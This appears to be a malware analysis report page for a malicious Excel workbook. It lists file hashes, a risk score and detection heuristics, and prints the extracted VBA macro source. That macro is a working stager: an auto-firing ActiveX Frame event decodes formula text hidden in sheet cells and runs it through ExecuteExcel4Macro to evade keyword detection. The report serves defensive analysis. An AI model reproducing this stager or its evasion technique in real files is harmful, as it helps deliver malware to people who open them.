Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7d46349108b039ad…

MALICIOUS

Office (OOXML)

52.3 KB Created: 2020-10-26 10:25:43 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-11-05
MD5: e987b83e2571e6adda4a0ebc368b81f4 SHA-1: c6138935ea597e9db0734de2ea8764e3d880b0c9 SHA-256: 7d46349108b039adbea9483ff010c7b8214878148dd93baacaf0d0b7fe8d1384
80 Risk Score

Heuristics 2

  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    VBA code attached to an auto-firing ActiveX/UserForm control event (e.g. _Layout/_Change/_Painted) decodes a string with Replace/Split/Join/StrReverse/Chr and passes the recovered formula text to ExecuteExcel4Macro. This bridges VBA event activation into XLM formula execution to call Win32 APIs / drop payloads while evading AutoOpen and Shell keyword detection — a high-confidence macro stager, not a specific Office parser CVE.
    Matched line in script
    ExecuteExcel4Macro Replace(Ss, "?", pipo)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1160 bytes
SHA-256: fcadffc723e48604b191a52df437faabbc19ec95e4194d1051b94ecf3dee1209
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "xerox, 25, 0, MSForms, Frame"
Sub vermont()
For Each s In ActiveSheet.UsedRange.SpecialCells(xlCellTypeVisible)
If s.NumberFormat = 0 Then k = k + Chr(s.Column)
Next
t = Split(k, "=")
nemer = Split(t(0), "!")
namer = t(1)
Randomize: pipo = nemer(Int((59 - 0 + 1) * Rnd + 0))
ecgho = Split(namer, "!")
For Each Ss In ecgho
ExecuteExcel4Macro Replace(Ss, "?", pipo)
Next
jo = 9: oj = jo: ActiveWorkbook.Close oj - jo: jo = 7
End Sub
Private Sub xerox_Layout()
epson: vermont
End Sub
Sub epson()
ut = 43
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: e81fb59f9a32679b6f24f659aefae2a3923cd0f3b3e74109ca2867c135879a09
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 2024 bytes
SHA-256: 8357e7f07f41a1e53a6ef35edda5f8d6ef14c676e025cb302cff4e47f3ae55a8

Open this report in the interactive analyzer, or submit your own file for analysis.